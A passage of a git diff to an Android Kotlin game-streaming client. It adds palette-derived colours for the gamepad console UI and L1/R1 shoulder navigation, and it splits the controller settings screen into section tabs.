00000000..a4546749 --- /dev/null +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadInk.kt @@ -0,0 +1,89 @@ +package io.unom.punktfunk + +import androidx.compose.runtime.compositionLocalOf +import androidx.compose.ui.graphics.Color + +// The ink the console (gamepad) UI draws with under the chosen background palette. +// +// The console screens were white-on-dark throughout with the brand violet hardcoded as the accent. +// Both had to become palette-derived at once: a pale field needs dark text or it is unreadable, +// and a violet focus wash on a copper field is exactly the clash this exists to fix. +// +// Published as a CompositionLocal rather than passed down, so a leaf (a row, a hint pill, a card) +// can ask for the right colour without every caller in between knowing about palettes. The Apple +// client uses an environment value and `pf-console-ui` a thread-local for the same reason. + +/** Everything about the console's look that follows the chosen palette. */ +class GamepadInk( + /** Primary text/glyph colour. */ + val fg: Color, + /** Focus wash, selected tab pill, switch track — the palette's own accent. */ + val accent: Color, + /** What reads ON the accent (a filled pill's label, a switch knob). */ + val onAccent: Color, + /** The base fill every glass surface starts from, at its resting opacity. */ + val glass: Color, + /** What a wash laid UNDER text tends toward: black on a dark field, white on a pale one. */ + val shade: Color, + /** + * How hard those washes go. A pale field needs far less — mixing toward white at the dark + * field's strength bleaches the chroma straight out of the gradient. + */ + val shadeScale: Float, + /** True when the field is pale, for the few places that branch rather than blend. */ + val isLight: Boolean, +) { + /** The foreground at [alpha]. */ + fun fg(alpha: Float): Color = fg.copy(alpha = alpha) + + /** The accent at [alpha]. */ + fun accent(alpha: Float): Color = accent.copy(alpha = alpha) + + /** A wash under text: [alpha] is the dark-field strength, scaled for a pale one. */ + fun shade(alpha: Float): Color = shade.copy(alpha = alpha * shadeScale) + + companion object { + fun of(p: GamepadPalette): GamepadInk { + val accent = p.accentColor + // Chosen by luminance, not by `light`: an accent is picked for contrast against the + // GLASS, not against the field. + val accentLuma = + 0.2126 * p.accent.first + 0.7152 * p.accent.second + 0.0722 * p.accent.third + val onAccent = if (accentLuma > 0.55) Color.Black else Color.White + if (!p.light) { + return GamepadInk( + fg = Color.White, + accent = accent, + onAccent = onAccent, + glass = Color.White.copy(alpha = 0.08f), + shade = Color.Black, + shadeScale = 1f, + isLight = false, + ) + } + val (gr, gg, gb) = p.ground + return GamepadInk( + // Tinted toward the palette's own ground so it doesn't read as a foreign grey. + fg = Color((gr * 0.16).toFloat(), (gg * 0.14).toFloat(), (gb * 0.20).toFloat()), + accent = accent, + onAccent = onAccent, + // More body than the dark glass carries: white frost over a bright gradient has + // far less separating it from its backdrop than dark glass over a dark one. + glass = Color.White.copy(alpha = 0.55f), + shade = Color.White, + shadeScale = 0.45f, + isLight = true, + ) + } + + /** The shipped dark look — what a preview or a test composition gets. */ + val DARK = of(GamepadPalette.named("violet")) + } +} + +/** + * The ink of the palette currently drawing, for everything under [App]. Provided from the live + * settings alongside [LocalGamepadPalette], so a change on the gamepad settings screen re-inks + * every console surface at once. + */ +val LocalGamepadInk = compositionLocalOf { GamepadInk.DARK } diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadNav.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadNav.kt index dd98af48..fe64b01f 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadNav.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadNav.kt @@ -152,8 +152,9 @@ fun GamepadNavEffect( * keyboard). Same hysteresis + hold-to-repeat as [GamepadNavEffect] but on both axes — the dominant * stick axis (or the pressed D-pad/HAT) commits a [NavDir], and it re-arms only after the stick * returns near centre (so a flick is one step). [onActivate] is A / center, [onTertiary] is X, - * [onSecondary] is Y. B is left to MainActivity's BACK remap → the screen's BackHandler (so B "peels - * one layer": close the keyboard, then the screen). + * [onSecondary] is Y, and [onShoulder] is L1 (-1) / R1 (+1) — a step SIDEWAYS out of the list, which + * the settings screen uses for its section tabs. B is left to MainActivity's BACK remap → the + * screen's BackHandler (so B "peels one layer": close the keyboard, then the screen). */ @Composable fun GamepadNavEffect2D( @@ -162,6 +163,7 @@ fun GamepadNavEffect2D( onActivate: () -> Unit, onTertiary: () -> Unit = {}, onSecondary: () -> Unit = {}, + onShoulder: (Int) -> Unit = {}, ) { val activity = LocalContext.current as? MainActivity ?: return val state = remember { NavInputState() } @@ -169,6 +171,7 @@ fun GamepadNavEffect2D( val currentOnActivate by rememberUpdatedState(onActivate) val currentOnTertiary by rememberUpdatedState(onTertiary) val currentOnSecondary by rememberUpdatedState(onSecondary) + val currentOnShoulder by rememberUpdatedState(onShoulder) DisposableEffect(active) { // Stable probe refs so onDispose only releases the slot if WE still own it — during a @@ -196,7 +199,10 @@ fun GamepadNavEffect2D( KeyEvent.KEYCODE_ENTER, KeyEvent.KEYCODE_NUMPAD_ENTER -> { if (edge) currentOnActivate(); true } KeyEvent.KEYCODE_BUTTON_X -> { if (edge) currentOnTertiary(); true } KeyEvent.KEYCODE_BUTTON_Y -> { if (edge) currentOnSecondary(); true } - else -> false // B / shoulders → MainActivity (B remaps to BACK → BackHandler) + // Edge-only, no auto-repeat: a held shoulder shouldn't spin through the tabs. + KeyEvent.KEYCODE_BUTTON_L1 -> { if (edge) currentOnShoulder(-1); true } + KeyEvent.KEYCODE_BUTTON_R1 -> { if (edge) currentOnShoulder(1); true } + else -> false // B → MainActivity (remapped to BACK → BackHandler) } } if (active) { diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadPalette.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadPalette.kt new file mode 100644 index 00000000..9e4a04d2 --- /dev/null +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadPalette.kt @@ -0,0 +1,218 @@ +package io.unom.punktfunk + +import androidx.compose.ui.graphics.Color + +// The console (gamepad) UI's background colour families, and the ink each one calls for. +// +// A palette is a short ordered ramp of DISTINCT hues, not one hue at several brightnesses. The +// field samples that ramp so several tones show at once and pool into each other, the way a real +// gradient poster does. An earlier version rotated ONE field's hue per palette, which is why every +// non-default palette read flat and monotone. +// +// A palette also owns the UI sitting on it: [accent] is the focus wash / selected pill / switch +// colour, and [light] flips the ink so a pale field gets dark text instead of white. +// +// The table, [ramp] and [CELL_RAMP] are mirrored in `pf-console-ui`'s `library.rs` (Rust) and the +// Apple client's `GamepadPalette.swift` under the same ids, so one `ui_palette` value is one look +// on every client. Keep the three copies in step: a palette added here without the others is a +// value the other clients silently render as Violet. + +/** One background colour family. */ +class GamepadPalette( + /** The stored `ui_palette` value ([Settings.uiPalette]). */ + val id: String, + /** What the settings row shows. */ + val name: String, + /** + * The colour ramp, dark end first. Empty = the brand default's explicit field, kept + * bit-identical to what every install already sees. + */ + val stops: List>, + /** The field's ground — what it settles onto and what the calm mix lifts toward. */ + val ground: Triple, + /** The UI accent: focus wash, selected tab pill, switch track. */ + val accent: Triple, + /** A pale field: the UI flips to dark ink and the legibility scrims go white. */ + val light: Boolean, +) { + /** Four drifting blob colours, spread across the ramp so the field shows several hues. */ + val blobColors: List by lazy { + val s = stops.ifEmpty { VIOLET_BLOBS } + (0..3).map { color(ramp(s, 0.15 + 0.25 * it)) } + } + + /** The field's ground as a Compose colour. */ + val groundColor: Color by lazy { color(ground) } + + /** The accent as a Compose colour. */ + val accentColor: Color by lazy { color(accent) } + + companion object { + /** + * Where each of the 16 mesh cells samples the ramp on the clients that draw a mesh. Kept + * here so the three ports stay one table even though this client approximates the field + * with blobs. + */ + val CELL_RAMP = listOf( + 0.10, -0.06, 0.04, -0.12, + -0.08, 0.14, -0.10, 0.06, + 0.06, -0.12, 0.16, -0.04, + -0.10, 0.08, -0.06, 0.12, + ) + + /** The brand default's blob ramp — the colours the pre-palette field used. */ + private val VIOLET_BLOBS = listOf( + Triple(0.53, 0.47, 0.96), Triple(0.24, 0.20, 0.72), Triple(0.62, 0.30, 0.80), + Triple(0.22, 0.38, 0.86), Triple(0.53, 0.47, 0.96), + ) + + /** + * The twelve shipped palettes: the brand default, five more dark fields, then six pale + * ones. Cycling order runs dark → light, so stepping the row walks the range one way. + */ + val ALL = listOf( + // --- dark fields (white ink) --- + GamepadPalette( + "violet", "Violet", emptyList(), + ground = Triple(0.075, 0.060, 0.160), + accent = Triple(0.525, 0.471, 0.961), light = false, + ), + GamepadPalette( + // Deep indigo climbing through violet into a hot magenta. + "nebula", "Nebula", + listOf( + Triple(0.07, 0.05, 0.20), Triple(0.26, 0.14, 0.54), Triple(0.52, 0.20, 0.72), + Triple(0.82, 0.26, 0.62), Triple(0.98, 0.46, 0.68), + ), + ground = Triple(0.055, 0.040, 0.135), + accent = Triple(0.95, 0.42, 0.72), light = false, + ), + GamepadPalette( + // Ink-blue water: teal → cerulean → a violet undertow. + "abyss", "Abyss", + listOf( + Triple(0.02, 0.10, 0.17), Triple(0.04, 0.28, 0.42), Triple(0.07, 0.46, 0.63), + Triple(0.16, 0.38, 0.78), Triple(0.26, 0.22, 0.58), + ), + ground = Triple(0.018, 0.070, 0.130), + accent = Triple(0.26, 0.76, 0.92), light = false, + ), + GamepadPalette( + // Banked coals: plum embers → crimson → burnt orange → gold. + "ember", "Ember", + listOf( + Triple(0.16, 0.03, 0.10), Triple(0.45, 0.06, 0.12), Triple(0.72, 0.18, 0.06), + Triple(0.90, 0.42, 0.08), Triple(0.95, 0.68, 0.18), + ), + ground = Triple(0.090, 0.035, 0.040), + accent = Triple(0.98, 0.62, 0.26), light = false, + ), + GamepadPalette( + // Forest floor into moss and a lime break. + "moss", "Moss", + listOf( + Triple(0.03, 0.11, 0.09), Triple(0.06, 0.27, 0.20), Triple(0.09, 0.45, 0.31), + Triple(0.28, 0.61, 0.28), Triple(0.58, 0.77, 0.31), + ), + ground = Triple(0.025, 0.085, 0.070), + accent = Triple(0.48, 0.86, 0.46), light = false, + ), + GamepadPalette( + // Neutral, but never flat: barely-there saturation that still travels from a cool + // charcoal to a warm stone. + "graphite", "Graphite", + listOf( + Triple(0.06, 0.07, 0.11), Triple(0.15, 0.18, 0.25), Triple(0.30, 0.31, 0.35), + Triple(0.45, 0.42, 0.38), Triple(0.60, 0.56, 0.49), + ), + ground = Triple(0.055, 0.055, 0.070), + accent = Triple(0.78, 0.80, 0.86), light = false, + ), + // --- pale fields (dark ink) --- + GamepadPalette( + // The holographic foil: rose → lilac → periwinkle → aqua, with a white bloom. + "holo", "Holo", + listOf( + Triple(0.99, 0.72, 0.90), Triple(0.80, 0.60, 0.98), Triple(0.58, 0.62, 0.99), + Triple(0.55, 0.86, 0.98), Triple(0.94, 0.98, 1.00), + ), + ground = Triple(0.96, 0.92, 0.99), + accent = Triple(0.42, 0.28, 0.86), light = true, + ), + GamepadPalette( + // The poster sunset: periwinkle → magenta → scarlet → tangerine → gold. + "sunset", "Sunset", + listOf( + Triple(0.55, 0.45, 0.92), Triple(0.86, 0.31, 0.66), Triple(0.97, 0.26, 0.34), + Triple(0.99, 0.51, 0.18), Triple(1.00, 0.80, 0.22), + ), + ground = Triple(0.98, 0.74, 0.34), + accent = Triple(0.64, 0.13, 0.44), light = true, + ), + GamepadPalette( + // Peach into blush and lilac — the softest of the set. + "bloom", "Bloom", + listOf( + Triple(1.00, 0.86, 0.72), Triple(0.99, 0.73, 0.79), Triple(0.95, 0.65, 0.89), + Triple(0.82, 0.68, 0.96), Triple(0.73, 0.79, 0.99), + ), + ground = Triple(0.99, 0.90, 0.89), + accent = Triple(0.72, 0.24, 0.55), light = true, + ), + GamepadPalette( + // First light: pale gold → coral → lilac. + "dawn", "Dawn", + listOf( + Triple(1.00, 0.92, 0.70), Triple(1.00, 0.80, 0.62), Triple(0.99, 0.66, 0.62), + Triple(0.90, 0.62, 0.78), Triple(0.77, 0.69, 0.95), + ), + ground = Triple(1.00, 0.93, 0.82), + accent = Triple(0.82, 0.33, 0.28), light = true, + ), + GamepadPalette( + // Sea glass: mint → aqua → a pale sky. + "mint", "Mint", + listOf( + Triple(0.82, 0.98, 0.90), Triple(0.62, 0.94, 0.88), Triple(0.55, 0.88, 0.95), + Triple(0.63, 0.82, 0.99), Triple(0.82, 0.87, 1.00), + ), + ground = Triple(0.90, 0.98, 0.96), + accent = Triple(0.04, 0.42, 0.40), light = true, + ), + GamepadPalette( + // Near-white, but iridescent rather than flat — rose, sky, mint and cream in turn. + "opal", "Opal", + listOf( + Triple(0.98, 0.92, 0.96), Triple(0.87, 0.93, 0.99), Triple(0.91, 0.99, 0.95), + Triple(0.99, 0.96, 0.88), Triple(0.94, 0.90, 0.99), + ), + ground = Triple(0.97, 0.96, 0.99), + accent = Triple(0.36, 0.32, 0.44), light = true, + ), + ) + + /** + * The palette stored under [id], falling back to the brand default — an unknown name is a + * palette a newer client shipped, not a reason to draw nothing. + */ + fun named(id: String): GamepadPalette = ALL.firstOrNull { it.id == id } ?: ALL[0] + + /** Sample an ordered colour ramp at [t] ∈ [0, 1] (linear between neighbouring stops). */ + fun ramp( + stops: List>, + t: Double, + ): Triple { + if (stops.isEmpty()) return Triple(0.0, 0.0, 0.0) + if (stops.size == 1) return stops[0] + val x = t.coerceIn(0.0, 1.0) * (stops.size - 1) + val i = x.toInt().coerceAtMost(stops.size - 2) + val f = x - i + val (ar, ag, ab) = stops[i] + val (br, bg, bb) = stops[i + 1] + return Triple(ar + (br - ar) * f, ag + (bg - ag) * f, ab + (bb - ab) * f) + } + + fun color(c: Triple): Color = + Color(c.first.toFloat(), c.second.toFloat(), c.third.toFloat()) + } +} diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadSettingsScreen.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadSettingsScreen.kt index b085163c..7da32711 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadSettingsScreen.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadSettingsScreen.kt @@ -39,6 +39,7 @@ import androidx.compose.material3.Text import androidx.compose.runtime.Composable import androidx.compose.runtime.getValue import androidx.compose.runtime.mutableIntStateOf +import androidx.compose.runtime.mutableStateMapOf import androidx.compose.runtime.mutableStateOf import androidx.compose.runtime.remember import androidx.compose.runtime.setValue @@ -63,10 +64,35 @@ import io.unom.punktfunk.kit.security.KnownHostStore // The gamepad-driven settings screen — the Android mirror of the Apple client's GamepadSettingsView: // the couch-relevant subset of the touch settings restyled as a console page and fully navigable with // a controller: up/down moves the focus bar, left/right steps the focused value, A cycles/toggles it, -// B closes. Both write the same SharedPreferences, so values round-trip with the touch settings. +// L1/R1 change SECTION, B closes. Both write the same SharedPreferences, so values round-trip with +// the touch settings. +// +// The rows are split across SECTION TABS ([GpTab]) — a shoulder press on a pad, a tap on a phone. +// They used to be one long scroll with inline `Group · Subgroup` headers, which on a TV meant +// walking past Display and Audio to reach the controller settings. The tab names match the desktop +// console's and the Apple client's, so a setting is found under the same word wherever you look. + +/** + * The settings screen's sections. Order IS the strip order and the L1/R1 cycle order; the names + * match `pf-console-ui`'s `TABS` and the Apple client's `GpSettingsTab`. + */ +enum class GpTab(val title: String) { + STREAM("Stream"), + VIDEO("Video"), + AUDIO("Audio"), + CONTROLLER("Controller"), + INTERFACE("Interface"), + PROFILES("Profiles"), +} internal class GpRow( val id: String, + val tab: GpTab, + /** + * A sub-heading above this row, for the few tabs that hold more than one group. Most rows have + * none: the tab pill already names the section, and repeating it would be a second label + * saying the same word. + */ val header: String?, val label: String, val value: String, @@ -133,10 +159,34 @@ fun GamepadSettingsScreen( // path there is this screen's own Controller-optimized UI toggle, which swaps in the standard // interface remote-navigably. The strings branch on it. val tv = remember { isTvDevice(context) } - val rows = buildSettingsRows(s, hasBodyVibrator, av1Capable, ::update) + + val allRows = buildSettingsRows(s, hasBodyVibrator, av1Capable, ::update) + buildProfileRows(profiles, savedHosts, tv) { pinProfile = it } + // Which section is showing, and where each one's focus was when it was last left — a detour + // into another tab shouldn't lose your place. + var tab by remember { mutableStateOf(GpTab.STREAM) } + // True while the STRIP holds the cursor rather than the list. Up from the first row moves + // here and Down goes back — the only route to the sections on a D-pad remote, which has no + // shoulder buttons at all (and is exactly what a TV box ships with). + var tabFocused by remember { mutableStateOf(false) } + val tabFocus = remember { mutableStateMapOf() } + val rows = allRows.filter { it.tab == tab } var focus by remember { mutableIntStateOf(0) } - if (focus > rows.lastIndex) focus = rows.lastIndex + if (focus > rows.lastIndex) focus = rows.lastIndex.coerceAtLeast(0) + + // L1/R1 — one section along, wrapping (the strip is a ring, like A's value cycle). + fun selectTab(next: GpTab) { + if (next == tab) return + tabFocus[tab] = focus + tab = next + // Clamp: a tab's length follows the hardware and the catalog, so a remembered index can + // outlive the row it pointed at. + focus = (tabFocus[next] ?: 0) + .coerceIn(0, (allRows.count { it.tab == next } - 1).coerceAtLeast(0)) + } + fun stepTab(delta: Int) { + val all = GpTab.entries + selectTab(all[((all.indexOf(tab) + delta) % all.size + all.size) % all.size]) + } // The direction the focused value last stepped (+1 forward / -1 back) — drives which way the // value text slides in its AnimatedContent, so the motion matches the button press. var adjustDir by remember { mutableIntStateOf(1) } @@ -151,20 +201,28 @@ fun GamepadSettingsScreen( active = navActive && pinProfile == null, onDirection = { dir -> when (dir) { - NavDir.UP -> if (focus > 0) focus-- - NavDir.DOWN -> if (focus < rows.lastIndex) focus++ - // A disabled row is INERT, not just dim — the step is refused instead of writing a - // setting that has nothing to act on (see `liveRow`). - NavDir.LEFT -> { adjustDir = -1; liveRow(rows, focus)?.adjust(-1) } - NavDir.RIGHT -> { adjustDir = 1; liveRow(rows, focus)?.adjust(1) } + NavDir.UP -> if (focus > 0) focus-- else tabFocused = true + NavDir.DOWN -> if (tabFocused) tabFocused = false else if (focus < rows.lastIndex) focus++ + // On the strip, left/right walks sections; on a row it steps the value. A disabled + // row is INERT, not just dim — the step is refused instead of writing a setting + // that has nothing to act on (see `liveRow`). + NavDir.LEFT -> + if (tabFocused) stepTab(-1) else { adjustDir = -1; liveRow(rows, focus)?.adjust(-1) } + NavDir.RIGHT -> + if (tabFocused) stepTab(1) else { adjustDir = 1; liveRow(rows, focus)?.adjust(1) } } }, - onActivate = { adjustDir = 1; liveRow(rows, focus)?.activate() }, + // A on the strip drops into the section you picked, which is what "confirm" means there. + onActivate = { + if (tabFocused) tabFocused = false else { adjustDir = 1; liveRow(rows, focus)?.activate() } + }, + // The shoulders work from either place — a real pad never has to visit the strip. + onShoulder = { delta -> stepTab(delta) }, ) // Keep the focused row on screen, but only SCROLL when it's actually off-screen — so entering the // screen (focus on the first row) leaves the "Settings" heading visible instead of jumping past it. // +1 accounts for the heading being item 0. - LaunchedEffect(focus) { + LaunchedEffect(focus, tab) { runCatching { val itemIndex = focus + 1 val info = listState.layoutInfo @@ -183,9 +241,21 @@ fun GamepadSettingsScreen( // where a fixed title + a fixed detail/legend strip ate most of the (short) height. Box(Modifier.fillMaxSize().hazeSource(hazeState)) { GamepadFormBackground(Modifier.fillMaxSize()) + Column(Modifier.fillMaxSize().systemBarsPadding()) { + // The strip is PINNED while the rows scroll under it: it is this screen's primary + // navigation now, and a switcher you have to scroll back up to find isn't one. The + // title stays in the scrolling list (landscape has no height to spare, and the + // selected pill already says which section you are in). + ConsoleTabStrip( + titles = GpTab.entries.map { it.title }, + selected = GpTab.entries.indexOf(tab), + onSelect = { tabFocused = false; selectTab(GpTab.entries[it]) }, + modifier = Modifier.fillMaxWidth().padding(top = 8.dp, bottom = 2.dp), + focused = tabFocused, + ) LazyColumn( state = listState, - modifier = Modifier.fillMaxSize().systemBarsPadding(), + modifier = Modifier.fillMaxSize(), contentPadding = PaddingValues(start = 24.dp, end = 24.dp, top = 8.dp, bottom = 104.dp), verticalArrangement = Arrangement.spacedBy(6.dp), ) { @@ -196,12 +266,19 @@ fun GamepadSettingsScreen( ConsoleHeader("Default settings", horizontalInset = false) } itemsIndexed(rows, key = { _, r -> r.id }) { index, row -> - SettingRowView(row, focused = index == focus, adjustDir = adjustDir, onClick = { - // Same inertness as the pad path above — tapping a dimmed row focuses it (so - // its detail explains itself) but never flips it. - if (focus != index) focus = index - else if (row.enabled) { adjustDir = 1; row.activate() } - }) + SettingRowView( + row, + focused = index == focus && !tabFocused, + adjustDir = adjustDir, + onClick = { + // Same inertness as the pad path above — tapping a dimmed row focuses it + // (so its detail explains itself) but never flips it. + tabFocused = false + if (focus != index) focus = index + else if (row.enabled) { adjustDir = 1; row.activate() } + }, + ) + } } } } @@ -218,8 +295,23 @@ fun GamepadSettingsScreen( // a profile row doesn't adjust, it opens the pin picker, and the "No profiles yet" // placeholder does nothing at all — advertising ↔/A on those would be a lie. val focused = rows.getOrNull(focus) + // The shoulders always change section, so that cell leads on every row. Tappable too, + // like the others — a user without a working pad can still reach every tab. + // Advertise the shoulders only where they EXIST: a TV remote has none (its route is Up + // into the strip) and a touch user taps a pill, so on those the cell would be both a + // lie and the reason a 360 dp legend runs out of room. Defaults to the pad case off an + // Activity (preview/tests), like GamepadHintBar's own glyph choice. + val padIsGamepad = (LocalContext.current as? MainActivity)?.lastPadIsGamepad ?: true + val sections = listOfNotNull( + GamepadHint('⇄', Color(0xFF9A93C7), "Section", onClick = { stepTab(1) }) + .takeIf { padIsGamepad }, + ) GamepadHintBar( - when { + if (tabFocused) listOf( + GamepadHint('↔', Color(0xFF9A93C7), "Section"), + PadGlyph.hint('A', "Open") { tabFocused = false }, + PadGlyph.hint('B', "Done", onClick = onBack), + ) else sections + when { focused != null && !focused.enabled -> listOf( PadGlyph.hint('B', "Done", onClick = onBack), ) @@ -254,6 +346,7 @@ fun GamepadSettingsScreen( @Composable private fun SettingRowView(row: GpRow, focused: Boolean, adjustDir: Int, onClick: () -> Unit) { + val ink = LocalGamepadInk.current val visuals = animateConsoleFocus(active = focused) val shape = RoundedCornerShape(14.dp) // The chevrons keep their layout slot and only fade, so the value never jumps sideways when @@ -265,7 +358,7 @@ private fun SettingRowView(row: GpRow, focused: Boolean, adjustDir: Int, onClick label = "chevrons", ) val valueColor by animateColorAsState( - Color.White.copy(alpha = if (focused) 1f else 0.6f), + ink.fg(if (focused) 1f else 0.6f), tween(160), label = "valueColor", ) @@ -274,7 +367,7 @@ private fun SettingRowView(row: GpRow, focused: Boolean, adjustDir: Int, onClick Text( row.header.uppercase(), style = MaterialTheme.typography.labelMedium, - color = Color.White.copy(alpha = 0.45f), + color = ink.fg(0.45f), letterSpacing = 1.4.sp, modifier = Modifier.padding(start = 16.dp, top = 14.dp, bottom = 4.dp), ) @@ -300,7 +393,7 @@ private fun SettingRowView(row: GpRow, focused: Boolean, adjustDir: Int, onClick fontWeight = FontWeight.SemiBold, // A disabled row (the "No profiles yet" placeholder) dims but stays focusable, // so its detail line can still explain what would go here. - color = Color.White.copy(alpha = if (row.enabled) 1f else 0.45f), + color = ink.fg(if (row.enabled) 1f else 0.45f), maxLines = 1, ) Spacer(Modifier.weight(1f)) @@ -308,7 +401,7 @@ private fun SettingRowView(row: GpRow, focused: Boolean, adjustDir: Int, onClick // A toggle is a switch, not text — the sliding knob + tinting track IS the value. ConsoleSwitch(on = row.toggled, focused = focused) } else { - Text("‹ ", color = Color.White, modifier = Modifier.graphicsLayer { alpha = chevronAlpha }) + Text("‹ ", color = ink.fg, modifier = Modifier.graphicsLayer { alpha = chevronAlpha }) // The value slides in the direction it was stepped and its width animates, so // cycling a choice reads as motion through a list rather than a text swap. AnimatedContent( @@ -329,7 +422,7 @@ private fun SettingRowView(row: GpRow, focused: Boolean, adjustDir: Int, onClick overflow = TextOverflow.Ellipsis, ) } - Text(" ›", color = Color.White, modifier = Modifier.graphicsLayer { alpha = chevronAlpha }) + Text(" ›", color = ink.fg, modifier = Modifier.graphicsLayer { alpha = chevronAlpha }) } } // The focused row carries its own one-line description — no dedicated (space-eating) @@ -342,7 +435,7 @@ private fun SettingRowView(row: GpRow, focused: Boolean, adjustDir: Int, onClick Text( row.detail, style = MaterialTheme.typography.bodySmall, - color = Color.White.copy(alpha = 0.6f), + color = ink.fg(0.6f), maxLines = 2, modifier = Modifier.padding(top = 6.dp), ) @@ -353,7 +446,8 @@ private fun SettingRowView(row: GpRow, focused: Boolean, adjustDir: Int, onClick /** Build the console settings rows from the current [Settings], writing through [update]. * [hasBodyVibrator] gates the "Rumble on this phone" row (absent on TVs); [av1Capable] gates the - * AV1 codec entry (see `codecOptionsFor`). */ + * AV1 codec entry (see `codecOptionsFor`). Every row declares its [GpTab]; the screen shows one + * tab at a time. */ internal fun buildSettingsRows( s: Settings, hasBodyVibrator: Boolean, @@ -361,12 +455,12 @@ internal fun buildSettingsRows( update: (Settings) -> Unit, ): List { fun choice( - id: String, header: String?, label: String, detail: String, + id: String, tab: GpTab, header: String?, label: String, detail: String, options: List>, current: T, enabled: Boolean = true, write: (T) -> Unit, ): GpRow { val idx = options.indexOfFirst { it.first == current } return GpRow( - id, header, label, + id, tab, header, label, value = options.getOrNull(idx)?.second ?: "—", detail = detail, enabled = enabled, @@ -385,10 +479,10 @@ internal fun buildSettingsRows( ) } fun toggle( - id: String, header: String?, label: String, detail: String, + id: String, tab: GpTab, header: String?, label: String, detail: String, value: Boolean, enabled: Boolean = true, write: (Boolean) -> Unit, ): GpRow = GpRow( - id, header, label, + id, tab, header, label, value = if (value) "On" else "Off", detail = detail, enabled = enabled, @@ -397,36 +491,13 @@ internal fun buildSettingsRows( toggled = value, ) - // Grouped and ordered by the cross-client category map (General / Display / Audio / - // Controllers), with the same sub-section names the touch settings and the desktop clients use, - // so a setting sits in the same place whichever surface you found it on. The ROWS stay the - // couch-relevant subset: a pad can't drive a touch-input picker, and adding one for the sake of - // symmetry would be parity in name only. + // Grouped by the cross-client tab map (Stream / Video / Audio / Controller / Interface / + // Profiles), so a setting sits under the same word whichever client you found it on. The ROWS + // stay the couch-relevant subset: a pad can't drive a touch-input picker, and adding one for + // the sake of symmetry would be parity in name only. return listOf( choice( - "hud", "General · Statistics", "Statistics overlay", - "How much the overlay shows: Compact (one line) → Normal → Detailed (full HUD). " + - "A 3-finger tap cycles the tiers live.", - STATS_VERBOSITY_OPTIONS, s.statsVerbosity, - ) { update(s.copy(statsVerbosity = it)) }, - toggle( - "autoWake", "General · Session", "Auto-wake on connect", - "Wake a saved host with Wake-on-LAN when it isn't seen on the network, then connect.", - s.autoWakeEnabled, - ) { update(s.copy(autoWakeEnabled = it)) }, - toggle( - "library", "General · Library", "Game library", - "Browse a paired host's games with Y (experimental).", - s.libraryEnabled, - ) { update(s.copy(libraryEnabled = it)) }, - toggle( - "gamepadUI", "General · Interface", "Controller-optimized UI", - "Turn off to use the touch interface even with a controller connected.", - s.gamepadUiEnabled, - ) { update(s.copy(gamepadUiEnabled = it)) }, - - choice( - "resolution", "Display · Resolution", "Resolution", + "resolution", GpTab.STREAM, null, "Resolution", "The host creates a virtual display at exactly this size — no scaling. " + "Custom sizes are typed in the touch settings.", // A custom size (typed in the touch settings) leads the list so it stays visible and @@ -440,55 +511,56 @@ internal fun buildSettingsRows( s.width to s.height, ) { (w, h) -> update(s.copy(width = w, height = h)) }, choice( - "refresh", null, "Refresh rate", "Frame rate the host renders and streams at.", + "refresh", GpTab.STREAM, null, "Refresh rate", + "Frame rate the host renders and streams at.", REFRESH_OPTIONS, s.hz, ) { update(s.copy(hz = it)) }, - choice( - "bitrate", "Display · Quality", "Bitrate", + "bitrate", GpTab.STREAM, null, "Bitrate", "Automatic uses the host's default. A host's options (Up on its tile) can measure the " + "link and set an informed value.", BITRATE_OPTIONS, s.bitrateKbps, ) { update(s.copy(bitrateKbps = it)) }, choice( - "codec", null, "Video codec", - "A preference — the host falls back if it can't encode this one.", - codecOptionsFor(s.codec, av1Capable), s.codec, - ) { update(s.copy(codec = it)) }, - toggle( - "hdr", null, "10-bit HDR", - "HDR10 — engages when the host sends HDR content and this display supports it.", - s.hdrEnabled, - ) { update(s.copy(hdrEnabled = it)) }, - - toggle( - "lowLatency", "Display · Decoding", "Low-latency mode", - "The fast pipeline (async decode + system tuning). On by default — turn off to fall back if the stream stutters or glitches.", - s.lowLatencyMode, - ) { update(s.copy(lowLatencyMode = it)) }, - - choice( - "compositor", "Display · Host output", "Compositor", + "compositor", GpTab.STREAM, "Host output", "Compositor", "Which compositor drives the virtual output — honored only if available on the host.", COMPOSITOR_OPTIONS.mapIndexed { i, lbl -> i to lbl }, s.compositor, ) { update(s.copy(compositor = it)) }, choice( - "audio", "Audio", "Audio channels", "The speaker layout requested from the host.", + "codec", GpTab.VIDEO, null, "Video codec", + "A preference — the host falls back if it can't encode this one.", + codecOptionsFor(s.codec, av1Capable), s.codec, + ) { update(s.copy(codec = it)) }, + toggle( + "hdr", GpTab.VIDEO, null, "10-bit HDR", + "HDR10 — engages when the host sends HDR content and this display supports it.", + s.hdrEnabled, + ) { update(s.copy(hdrEnabled = it)) }, + toggle( + "lowLatency", GpTab.VIDEO, "Decoding", "Low-latency mode", + "The fast pipeline (async decode + system tuning). On by default — turn off to fall back if the stream stutters or glitches.", + s.lowLatencyMode, + ) { update(s.copy(lowLatencyMode = it)) }, + + choice( + "audio", GpTab.AUDIO, null, "Audio channels", + "The speaker layout requested from the host.", AUDIO_CHANNEL_OPTIONS, s.audioChannels, ) { update(s.copy(audioChannels = it)) }, toggle( - "mic", null, "Microphone", "Send this device's microphone to the host's virtual mic.", + "mic", GpTab.AUDIO, null, "Microphone", + "Send this device's microphone to the host's virtual mic.", s.micEnabled, ) { update(s.copy(micEnabled = it)) }, toggle( - "echoCancel", null, "Echo cancellation", + "echoCancel", GpTab.AUDIO, null, "Echo cancellation", "Filter the stream's own audio out of the mic pickup. Applies while the microphone is on.", s.echoCancel, ) { update(s.copy(echoCancel = it)) }, toggle( - "padForward", "Controllers", "Forward controllers", + "padForward", GpTab.CONTROLLER, null, "Forward controllers", "Send this device's controllers to the host. Turn it off when your controller " + "already reaches the host another way — USB passthrough such as 